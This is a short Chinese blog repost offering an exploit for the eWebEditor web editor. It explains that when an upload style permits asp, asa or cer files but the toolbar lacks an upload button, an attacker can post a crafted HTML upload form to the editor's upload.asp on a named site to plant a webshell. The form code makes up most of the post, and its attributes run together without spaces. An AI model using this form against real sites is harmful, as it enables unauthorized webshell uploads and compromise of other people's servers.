昔日

ewebeditor可以上传asp、asa文件,但无上传按钮工具栏

最爱墓尸妹纸

chengker:

此exp用在 

数据库中有asp、asa、cer扩展样式,但是无上传按钮和不能添加工具栏、数据库为只读等

用此exp解决拿webshell

  1. <formaction="http://netknight.in/ewebeditor/upload.asp?action=save&type=&style=可以上传asa的样式名"method=postname=myformenctype="multipart/form-data">

  2. <inputtype=filename=uploadfilesize=1style="width:100%">

  3. <inputtype=submitvalue="上传了"></input>

  4. </form>

 

评论

热度(2)

  1. 昔日最爱墓尸妹纸 转载了此文字
    最爱墓尸妹纸
  2. 最爱墓尸妹纸chengker 转载了此文字